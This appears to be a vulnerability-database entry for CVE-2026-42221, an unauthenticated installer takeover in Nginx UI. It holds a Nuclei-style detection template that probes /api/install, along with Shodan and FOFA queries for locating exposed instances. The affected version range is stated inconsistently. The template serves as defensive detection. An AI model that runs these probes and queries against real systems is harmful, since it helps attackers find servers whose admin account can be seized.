CVE-2026-42221: Nginx UI <= 2.3.7 - Unauthenticated Installer Exposure

日期: 2026-09-16 | 影响软件: 未知 | PoC: 已公开

漏洞描述

Nginx UI 2.0.0 to 2.3.8 contains an authentication bypass caused by unauthenticated access to /api/install during first-run setup, letting remote attackers claim the initial admin account, exploit requires attacker to access the service before legitimate operator.

PoC代码[已公开]

id: CVE-2026-42221

info:
  name: Nginx UI <= 2.3.7 - Unauthenticated Installer Exposure
  author: str4k3r
  severity: high
  description: |
    Nginx UI 2.0.0 to 2.3.8 contains an authentication bypass caused by unauthenticated access to /api/install during first-run setup, letting remote attackers claim the initial admin account, exploit requires attacker to access the service before legitimate operator.
  impact: |
    Remote attackers can permanently take over the initial administrator account, leading to full control of the instance.
  remediation: |
    Upgrade to version 2.3.8 or later.
  reference:
    - https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h27v-ph7w-m9fp
    - https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.8
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42221
  classification:
    cve-id: CVE-2026-42221
    epss-score: 0.01165
    epss-percentile: 0.65529
    cwe-id: CWE-306
    cvss-score: 8.1
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
  metadata:
    verified: true
    max-request: 2
    vendor: 0xjacky
    product: nginx-ui
    shodan-query: http.title:"Nginx UI"
    fofa-query: app="Nginx-UI"
  tags: cve,cve2026,nginx-ui,unauth,takeover,cwe-306

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /api/install HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "lock")'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: lock_state
        group: 1
        regex:
          - '("lock":\s*(?:true|false)(?:,\s*"timeout":\s*(?:true|false))?)'
        internal: true

  - raw:
      - |
        POST /api/install HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"encrypted_params":"aW52YWxpZA=="}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains_all(body, "decryption failed", "40001")'
        condition: and
# digest: 490a0046304402201412f4f6768dda347381b9c02580f6dbba8237dfe34521c7d143f6b92b94f5f4022073bdfaa5472d939cce1691cc2d094eba947a09ee7a9240f638f6aad59809beb8:922c64590222798bb761d5b6d8e72950